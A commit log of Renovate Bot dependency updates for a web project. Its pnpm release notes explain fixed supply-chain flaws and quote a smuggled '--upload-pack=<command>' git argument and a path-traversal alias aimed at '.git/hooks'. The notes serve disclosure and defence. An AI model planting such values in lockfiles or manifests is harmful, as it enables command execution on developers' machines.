[Compare Source](https://github.com/typescript-eslint/typescript-eslint/compare/v8.59.4...v8.60.0)

This was a version bump only for typescript-eslint to align it with other projects, there were no code changes.

See [GitHub Releases](https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.60.0) for more information.

You can read about our [versioning strategy](https://typescript-eslint.io/users/versioning) and [releases](https://typescript-eslint.io/users/releases) on our website.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #252
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-29 13:48:29 +02:00
APF Portal Bot 0df3ab9f03 chore(deps): update pnpm to v10.34.1 (#251)
CI / scan (push) Successful in 3m49s
CI / check (push) Successful in 4m11s
CI / commits (push) Has been skipped
CI / a11y (push) Successful in 2m21s
CI / perf (push) Successful in 6m59s
Docs site / build (push) Successful in 5m25s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [pnpm](https://pnpm.io) ([source](https://github.com/pnpm/pnpm/tree/HEAD/pnpm)) | packageManager | minor | [`10.33.4` -> `10.34.1`](https://renovatebot.com/diffs/npm/pnpm/10.33.4/10.34.1) |

---

### Release Notes

<details>
<summary>pnpm/pnpm (pnpm)</summary>

### [`v10.34.1`](https://github.com/pnpm/pnpm/releases/tag/v10.34.1): pnpm 10.34.1

[Compare Source](https://github.com/pnpm/pnpm/compare/v10.34.0...v10.34.1)

#### Patch Changes

- Reject `pnpm-lock.yaml` entries whose remote tarball `resolution:` block is missing the `integrity` field. Previously the worker that extracts a downloaded tarball skipped hash verification when no integrity was supplied and minted a fresh one from the unverified bytes, so an attacker who could both alter the lockfile (e.g. via a pull request that strips `integrity:`) and serve modified content at the referenced tarball URL could install a tampered package without any error — including under `--frozen-lockfile`. pnpm now fails closed at lockfile-read time with `ERR_PNPM_MISSING_TARBALL_INTEGRITY`. Git-hosted tarballs (`gitHosted: true` or a URL on codeload.github.com / bitbucket.org / gitlab.com) and `file:` tarballs are exempt — the commit SHA in a git-host URL and the user-controlled local path already anchor the bytes.

<!-- sponsors -->

#### Platinum Sponsors

<table>
  <tbody>
    <tr>
      <td align="center" valign="middle">
        <a href="https://bit.cloud/?utm_source=pnpm&utm_medium=release_notes" target="_blank"><img src="https://pnpm.io/img/users/bit.svg" width="80" alt="Bit"></a>
      </td>
    </tr>
  </tbody>
</table>

#### Gold Sponsors

<table>
  <tbody>
    <tr>
      <td align="center" valign="middle">
        <a href="https://sanity.io/?utm_source=pnpm&utm_medium=release_notes" target="_blank">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/sanity.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/sanity_light.svg" />
            <img src="https://pnpm.io/img/users/sanity.svg" width="120" alt="Sanity" />
          </picture>
        </a>
      </td>
      <td align="center" valign="middle">
        <a href="https://discord.com/?utm_source=pnpm&utm_medium=release_notes" target="_blank">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/discord.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/discord_light.svg" />
            <img src="https://pnpm.io/img/users/discord.svg" width="220" alt="Discord" />
          </picture>
        </a>
      </td>
      <td align="center" valign="middle">
        <a href="https://vite.dev/?utm_source=pnpm&utm_medium=release_notes" target="_blank"><img src="https://pnpm.io/img/users/vitejs.svg" width="42" alt="Vite"></a>
      </td>
    </tr>
    <tr>
      <td align="center" valign="middle">
        <a href="https://serpapi.com/?utm_source=pnpm&utm_medium=release_notes" target="_blank">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/serpapi_dark.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/serpapi_light.svg" />
            <img src="https://pnpm.io/img/users/serpapi_dark.svg" width="160" alt="SerpApi" />
          </picture>
        </a>
      </td>
      <td align="center" valign="middle">
        <a href="https://coderabbit.ai/?utm_source=pnpm&utm_medium=release_notes" target="_blank">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/coderabbit.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/coderabbit_light.svg" />
            <img src="https://pnpm.io/img/users/coderabbit.svg" width="220" alt="CodeRabbit" />
          </picture>
        </a>
      </td>
      <td align="center" valign="middle">
        <a href="https://stackblitz.com/?utm_source=pnpm&utm_medium=release_notes" target="_blank">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/stackblitz.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/stackblitz_light.svg" />
            <img src="https://pnpm.io/img/users/stackblitz.svg" width="190" alt="Stackblitz" />
          </picture>
        </a>
      </td>
    </tr>
    <tr>
      <td align="center" valign="middle">
        <a href="https://workleap.com/?utm_source=pnpm&utm_medium=release_notes" target="_blank">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/workleap.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/workleap_light.svg" />
            <img src="https://pnpm.io/img/users/workleap.svg" width="190" alt="Workleap" />
          </picture>
        </a>
      </td>
      <td align="center" valign="middle">
        <a href="https://nx.dev/?utm_source=pnpm&utm_medium=release_notes" target="_blank">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/nx.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/nx_light.svg" />
            <img src="https://pnpm.io/img/users/nx.svg" width="50" alt="Nx" />
          </picture>
        </a>
      </td>
    </tr>
  </tbody>
</table>

<!-- sponsors end -->

### [`v10.34.0`](https://github.com/pnpm/pnpm/releases/tag/v10.34.0): pnpm 10.34

[Compare Source](https://github.com/pnpm/pnpm/compare/v10.33.4...v10.34.0)

#### Minor Changes

- Treat tarball-integrity mismatches against the lockfile as a hard failure by default. Previously, `pnpm install` (non-frozen) would log `ERR_PNPM_TARBALL_INTEGRITY`, silently re-resolve from the registry, and overwrite the locked integrity — which meant a compromised registry, proxy, or republished version could substitute attacker-controlled content on a clean machine even though the project shipped a committed lockfile.

  `pnpm install` now exits with `ERR_PNPM_TARBALL_INTEGRITY` and a hint pointing at the new opt-in flag.

  The only opt-in is **`pnpm install --update-checksums`** — narrowly scoped to refreshing the locked integrity values from what the registry currently serves. Mirrors yarn's flag of the same name. A warning still prints when the bypass takes effect so the operation is auditable.

  `--force` and `pnpm update` deliberately do **not** bypass the integrity check. They are routine refresh operations; silently overwriting a locked integrity in those flows would erase the protection a committed lockfile is supposed to provide. `--frozen-lockfile` behavior is unchanged. `--fix-lockfile` keeps its documented purpose (filling in missing lockfile entries) and is also not a bypass.

#### Patch Changes

- Pin unscoped per-registry settings (`_authToken`, `_auth`, `username`/`_password`, `tokenHelper`, inline `cert`/`key`) to the registry declared in the same config source at load time, so a later layer overriding `registry=` (workspace `.npmrc`, `pnpm-workspace.yaml`, CLI `--registry`) cannot redirect a credential or client certificate authored for a different host. A deprecation warning is emitted whenever an unscoped per-registry setting is encountered, naming the source and the URL it was pinned to. Reported by JUNYI LIU.
- Fixed `minimumReleaseAge` handling when cached metadata is abbreviated. The npm registry returns abbreviated package metadata (without the per-version `time` field) by default, which made the maturity check throw `ERR_PNPM_MISSING_TIME` whenever cached abbreviated metadata was reused. pnpm now upgrades cached abbreviated metadata to the full document via a follow-up fetch when `minimumReleaseAge` is active, persists the upgrade to the on-disk cache so subsequent installs skip the extra fetch, and lets `ERR_PNPM_MISSING_TIME` from the cache fast-path fall through to the network fetch even under strict mode.
- Reject git resolutions whose `commit` field is not a 40-character hexadecimal SHA before invoking `git`. A malicious lockfile could otherwise smuggle a value such as `--upload-pack=<command>` through `git fetch` / `git checkout`, which on SSH or local-file transports executes the supplied command.
- Reject patch files whose `diff --git` headers reference paths outside the patched package directory. Previously a malicious `.patch` file added via a pull request could write, delete, or rename arbitrary files reachable by the user running `pnpm install`.
- Fixed `--prefix=<dir>` not being honored when locating the workspace root. The `--prefix → dir` rename was applied after workspace detection, so workspace settings declared in `<dir>/pnpm-workspace.yaml` were not loaded when pnpm was invoked from outside `<dir>` [#&#8203;11535](https://github.com/pnpm/pnpm/issues/11535).
- Reject dependency aliases that contain path-traversal segments (such as `@x/../../../../../.git/hooks`) when reading them from a package manifest or symlinking them into `node_modules`. A malicious registry package could otherwise use a transitive dependency key to make `pnpm install` create symlinks at attacker-chosen paths outside the intended `node_modules` directory.

<!-- sponsors -->

#### Platinum Sponsors

<table>
  <tbody>
    <tr>
      <td align="center" valign="middle">
        <a href="https://bit.cloud/?utm_source=pnpm&utm_medium=release_notes" target="_blank"><img src="https://pnpm.io/img/users/bit.svg" width="80" alt="Bit"></a>
      </td>
    </tr>
  </tbody>
</table>

#### Gold Sponsors

<table>
  <tbody>
    <tr>
      <td align="center" valign="middle">
        <a href="https://sanity.io/?utm_source=pnpm&utm_medium=release_notes" target="_blank">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/sanity.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/sanity_light.svg" />
            <img src="https://pnpm.io/img/users/sanity.svg" width="120" alt="Sanity" />
          </picture>
        </a>
      </td>
      <td align="center" valign="middle">
        <a href="https://discord.com/?utm_source=pnpm&utm_medium=release_notes" target="_blank">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/discord.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/discord_light.svg" />
            <img src="https://pnpm.io/img/users/discord.svg" width="220" alt="Discord" />
          </picture>
        </a>
      </td>
      <td align="center" valign="middle">
        <a href="https://vite.dev/?utm_source=pnpm&utm_medium=release_notes" target="_blank"><img src="https://pnpm.io/img/users/vitejs.svg" width="42" alt="Vite"></a>
      </td>
    </tr>
    <tr>
      <td align="center" valign="middle">
        <a href="https://serpapi.com/?utm_source=pnpm&utm_medium=release_notes" target="_blank">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/serpapi_dark.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/serpapi_light.svg" />
            <img src="https://pnpm.io/img/users/serpapi_dark.svg" width="160" alt="SerpApi" />
          </picture>
        </a>
      </td>
      <td align="center" valign="middle">
        <a href="https://coderabbit.ai/?utm_source=pnpm&utm_medium=release_notes" target="_blank">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/coderabbit.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/coderabbit_light.svg" />
            <img src="https://pnpm.io/img/users/coderabbit.svg" width="220" alt="CodeRabbit" />
          </picture>
        </a>
      </td>
      <td align="center" valign="middle">
        <a href="https://stackblitz.com/?utm_source=pnpm&utm_medium=release_notes" target="_blank">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/stackblitz.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/stackblitz_light.svg" />
            <img src="https://pnpm.io/img/users/stackblitz.svg" width="190" alt="Stackblitz" />
          </picture>
        </a>
      </td>
    </tr>
    <tr>
      <td align="center" valign="middle">
        <a href="https://workleap.com/?utm_source=pnpm&utm_medium=release_notes" target="_blank">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/workleap.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/workleap_light.svg" />
            <img src="https://pnpm.io/img/users/workleap.svg" width="190" alt="Workleap" />
          </picture>
        </a>
      </td>
      <td align="center" valign="middle">
        <a href="https://nx.dev/?utm_source=pnpm&utm_medium=release_notes" target="_blank">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/nx.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/nx_light.svg" />
            <img src="https://pnpm.io/img/users/nx.svg" width="50" alt="Nx" />
          </picture>
        </a>
      </td>
    </tr>
  </tbody>
</table>

<!-- sponsors end -->

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/251
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-29 13:45:53 +02:00
APF Portal Bot afbad752fb chore(deps): update dependency @oxc-project/runtime to ^0.133.0 (#250)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 3m36s
CI / a11y (push) Successful in 3m8s
CI / perf (push) Successful in 6m59s
CI / check (push) Successful in 7m16s
Docs site / build (push) Successful in 6m48s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [@oxc-project/runtime](https://oxc.rs) ([source](https://github.com/oxc-project/oxc/tree/HEAD/npm/runtime)) | devDependencies | minor | [`^0.131.0` -> `^0.133.0`](https://renovatebot.com/diffs/npm/@oxc-project%2fruntime/0.131.0/0.133.0) |

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #250
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-29 13:44:57 +02:00
APF Portal Bot 33d2257cf5 fix(deps): update vitest to v4.1.7 (#249)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 3m5s
CI / a11y (push) Successful in 2m12s
CI / check (push) Successful in 5m38s
CI / perf (push) Successful in 6m33s
Docs site / build (push) Successful in 2m58s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [@vitest/coverage-v8](https://vitest.dev/guide/coverage) ([source](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8)) | devDependencies | patch | [`4.1.6` -> `4.1.7`](https://renovatebot.com/diffs/npm/@vitest%2fcoverage-v8/4.1.6/4.1.7) |
| [@vitest/ui](https://vitest.dev/guide/ui) ([source](https://github.com/vitest-dev/vitest/tree/HEAD/packages/ui)) | devDependencies | patch | [`4.1.6` -> `4.1.7`](https://renovatebot.com/diffs/npm/@vitest%2fui/4.1.6/4.1.7) |
| [vitest](https://vitest.dev) ([source](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest)) | devDependencies | patch | [`4.1.6` -> `4.1.7`](https://renovatebot.com/diffs/npm/vitest/4.1.6/4.1.7) |
| [vitest](https://vitest.dev) ([source](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest)) | dependencies | patch | [`4.1.6` -> `4.1.7`](https://renovatebot.com/diffs/npm/vitest/4.1.6/4.1.7) |

---

### Release Notes

<details>
<summary>vitest-dev/vitest (@&#8203;vitest/coverage-v8)</summary>

### [`v4.1.7`](https://github.com/vitest-dev/vitest/releases/tag/v4.1.7)

[Compare Source](https://github.com/vitest-dev/vitest/compare/v4.1.6...v4.1.7)

#####    🐞 Bug Fixes

- **runner**: Limit concurrency per task branch in addition to per leaf callbacks (backport)  -  by [@&#8203;hi-ogawa](https://github.com/hi-ogawa) in https://github.com/vitest-dev/vitest/issues/10384 [<samp>(4f0f2)</samp>](https://github.com/vitest-dev/vitest/commit/4f0f2a1ee)

#####     [View changes on GitHub](https://github.com/vitest-dev/vitest/compare/v4.1.6...v4.1.7)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/249
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-29 12:41:59 +02:00
APF Portal Bot 17bed9de09 fix(deps): update nx to v22.7.5 (#248)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 4m16s
CI / check (push) Successful in 6m44s
CI / a11y (push) Successful in 1m58s
CI / perf (push) Successful in 7m39s
Docs site / build (push) Successful in 2m35s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [@nx/angular](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/angular)) | devDependencies | patch | [`22.7.2` -> `22.7.5`](https://renovatebot.com/diffs/npm/@nx%2fangular/22.7.2/22.7.5) |
| [@nx/devkit](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/devkit)) | devDependencies | patch | [`22.7.2` -> `22.7.5`](https://renovatebot.com/diffs/npm/@nx%2fdevkit/22.7.2/22.7.5) |
| [@nx/eslint](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/eslint)) | devDependencies | patch | [`22.7.2` -> `22.7.5`](https://renovatebot.com/diffs/npm/@nx%2feslint/22.7.2/22.7.5) |
| [@nx/eslint-plugin](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/eslint-plugin)) | devDependencies | patch | [`22.7.2` -> `22.7.5`](https://renovatebot.com/diffs/npm/@nx%2feslint-plugin/22.7.2/22.7.5) |
| [@nx/jest](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/jest)) | devDependencies | patch | [`22.7.2` -> `22.7.5`](https://renovatebot.com/diffs/npm/@nx%2fjest/22.7.2/22.7.5) |
| [@nx/js](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/js)) | devDependencies | patch | [`22.7.2` -> `22.7.5`](https://renovatebot.com/diffs/npm/@nx%2fjs/22.7.2/22.7.5) |
| [@nx/nest](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/nest)) | devDependencies | patch | [`22.7.2` -> `22.7.5`](https://renovatebot.com/diffs/npm/@nx%2fnest/22.7.2/22.7.5) |
| [@nx/node](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/node)) | devDependencies | patch | [`22.7.2` -> `22.7.5`](https://renovatebot.com/diffs/npm/@nx%2fnode/22.7.2/22.7.5) |
| [@nx/playwright](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/playwright)) | devDependencies | patch | [`22.7.2` -> `22.7.5`](https://renovatebot.com/diffs/npm/@nx%2fplaywright/22.7.2/22.7.5) |
| [@nx/vite](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/vite)) | devDependencies | patch | [`22.7.2` -> `22.7.5`](https://renovatebot.com/diffs/npm/@nx%2fvite/22.7.2/22.7.5) |
| [@nx/vite](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/vite)) | dependencies | patch | [`22.7.2` -> `22.7.5`](https://renovatebot.com/diffs/npm/@nx%2fvite/22.7.2/22.7.5) |
| [@nx/vitest](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/vitest)) | devDependencies | patch | [`22.7.2` -> `22.7.5`](https://renovatebot.com/diffs/npm/@nx%2fvitest/22.7.2/22.7.5) |
| [@nx/web](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/web)) | devDependencies | patch | [`22.7.2` -> `22.7.5`](https://renovatebot.com/diffs/npm/@nx%2fweb/22.7.2/22.7.5) |
| [@nx/webpack](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/webpack)) | devDependencies | patch | [`22.7.2` -> `22.7.5`](https://renovatebot.com/diffs/npm/@nx%2fwebpack/22.7.2/22.7.5) |
| [nx](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/nx)) | devDependencies | patch | [`22.7.2` -> `22.7.5`](https://renovatebot.com/diffs/npm/nx/22.7.2/22.7.5) |

---

### Release Notes

<details>
<summary>nrwl/nx (@&#8203;nx/angular)</summary>

### [`v22.7.5`](https://github.com/nrwl/nx/releases/tag/22.7.5)

[Compare Source](https://github.com/nrwl/nx/compare/22.7.4...22.7.5)

##### 22.7.5 (2026-05-27)

##### 🩹 Fixes

- **core:** update tmp to 0.2.6 due to CVE-2026-44705 ([#&#8203;35813](https://github.com/nrwl/nx/pull/35813))

##### ❤️ Thank You

- Jack Hsu [@&#8203;jaysoo](https://github.com/jaysoo)

### [`v22.7.4`](https://github.com/nrwl/nx/releases/tag/22.7.4)

[Compare Source](https://github.com/nrwl/nx/compare/22.7.3...22.7.4)

##### 22.7.4 (2026-05-25)

##### 🩹 Fixes

- **core:** update brace-expansion and yaml ([#&#8203;35790](https://github.com/nrwl/nx/pull/35790))

##### ❤️ Thank You

- Jack Hsu [@&#8203;jaysoo](https://github.com/jaysoo)

### [`v22.7.3`](https://github.com/nrwl/nx/releases/tag/22.7.3)

[Compare Source](https://github.com/nrwl/nx/compare/22.7.2...22.7.3)

##### 22.7.3 (2026-05-22)

##### 🚀 Features

- **js:** support pnpm 11.2.2 ([#&#8203;35772](https://github.com/nrwl/nx/pull/35772))

##### 🩹 Fixes

- **angular:** only add [@&#8203;oxc-project/runtime](https://github.com/oxc-project/runtime) on the vitest-analog path ([#&#8203;35734](https://github.com/nrwl/nx/pull/35734))
- **angular-rspack:** exclude eslint config from tailwind v4 source scan ([#&#8203;35663](https://github.com/nrwl/nx/pull/35663))
- **core:** warn before installing unknown npm packages as preset ([#&#8203;35644](https://github.com/nrwl/nx/pull/35644))
- **core:** preserve input order in createNodes plugin results ([#&#8203;35595](https://github.com/nrwl/nx/pull/35595))
- **core:** resolve local plugin subpath imports from source ([#&#8203;35631](https://github.com/nrwl/nx/pull/35631))
- **core:** treat undefined task parallelism as parallel when scheduling ([#&#8203;35736](https://github.com/nrwl/nx/pull/35736))
- **core:** handle object form of bin field in getPrettierPath ([#&#8203;35680](https://github.com/nrwl/nx/pull/35680))
- **core:** detect vscode copilot ai agent ([#&#8203;35757](https://github.com/nrwl/nx/pull/35757))
- **core:** allow local plugin subpath imports without custom conditions ([#&#8203;35751](https://github.com/nrwl/nx/pull/35751), [#&#8203;35631](https://github.com/nrwl/nx/issues/35631))
- **dotnet:** include Directory.*.* files in inputs ([#&#8203;35738](https://github.com/nrwl/nx/pull/35738))
- **gradle:** add transitive:true to all tasks ([#&#8203;35677](https://github.com/nrwl/nx/pull/35677))
- **gradle:** pin generated e2e project toolchain to installed JDK ([#&#8203;35703](https://github.com/nrwl/nx/pull/35703))
- **js:** fall back to npm publish when bun publish fails with auth error ([#&#8203;35756](https://github.com/nrwl/nx/pull/35756))
- **linter:** improve convert-to-flat-config output fidelity ([#&#8203;35330](https://github.com/nrwl/nx/pull/35330))
- **linter:** only rewrite workspace-package peer deps to workspace:\* ([#&#8203;35423](https://github.com/nrwl/nx/pull/35423), [#&#8203;35318](https://github.com/nrwl/nx/issues/35318), [#&#8203;33417](https://github.com/nrwl/nx/issues/33417))
- **misc:** stop inferring `projects: 'self'` in `dependsOn` entries ([#&#8203;35686](https://github.com/nrwl/nx/pull/35686))
- **misc:** skip `$` escaping in file paths on windows ([#&#8203;35692](https://github.com/nrwl/nx/pull/35692))
- **repo:** run dotnet restore before publish ([#&#8203;35771](https://github.com/nrwl/nx/pull/35771))
- **repo:** run dotnet restore before macos e2e job ([#&#8203;35774](https://github.com/nrwl/nx/pull/35774))
- **rsbuild:** infer build outputs from distPath.root directly ([#&#8203;35707](https://github.com/nrwl/nx/pull/35707))
- **rsbuild:** lazy-require [@&#8203;rsbuild/core](https://github.com/rsbuild/core) in plugin so spec mocks work after jest.resetModules ([#&#8203;35707](https://github.com/nrwl/nx/issues/35707))
- **testing:** correct yargs-parser import in getJestProjectsAsync ([#&#8203;35672](https://github.com/nrwl/nx/pull/35672), [#&#8203;35654](https://github.com/nrwl/nx/issues/35654))

##### ❤️ Thank You

- AgentEnder [@&#8203;AgentEnder](https://github.com/AgentEnder)
- Artur [@&#8203;arturovt](https://github.com/arturovt)
- Benjamin Staneck [@&#8203;Stanzilla](https://github.com/Stanzilla)
- Copilot [@&#8203;Copilot](https://github.com/Copilot)
- Craigory Coppola [@&#8203;AgentEnder](https://github.com/AgentEnder)
- FrozenPandaz [@&#8203;FrozenPandaz](https://github.com/FrozenPandaz)
- Jason Jean [@&#8203;FrozenPandaz](https://github.com/FrozenPandaz)
- Leosvel Pérez Espinosa [@&#8203;leosvelperez](https://github.com/leosvelperez)
- leosvelperez [@&#8203;leosvelperez](https://github.com/leosvelperez)
- Louie Weng [@&#8203;lourw](https://github.com/lourw)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/248
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-29 12:04:15 +02:00
APF Portal Bot ffed212cf9 fix(deps): update angular to v21.2.15 (#247)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 3m41s
CI / check (push) Successful in 6m39s
CI / a11y (push) Successful in 2m41s
CI / perf (push) Successful in 7m33s
Docs site / build (push) Successful in 2m49s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [@angular/common](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/common)) | dependencies | patch | [`21.2.14` -> `21.2.15`](https://renovatebot.com/diffs/npm/@angular%2fcommon/21.2.14/21.2.15) |
| [@angular/compiler](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/compiler)) | dependencies | patch | [`21.2.14` -> `21.2.15`](https://renovatebot.com/diffs/npm/@angular%2fcompiler/21.2.14/21.2.15) |
| [@angular/compiler-cli](https://github.com/angular/angular/tree/main/packages/compiler-cli) ([source](https://github.com/angular/angular/tree/HEAD/packages/compiler-cli)) | devDependencies | patch | [`21.2.14` -> `21.2.15`](https://renovatebot.com/diffs/npm/@angular%2fcompiler-cli/21.2.14/21.2.15) |
| [@angular/core](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/core)) | dependencies | patch | [`21.2.14` -> `21.2.15`](https://renovatebot.com/diffs/npm/@angular%2fcore/21.2.14/21.2.15) |
| [@angular/forms](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/forms)) | dependencies | patch | [`21.2.14` -> `21.2.15`](https://renovatebot.com/diffs/npm/@angular%2fforms/21.2.14/21.2.15) |
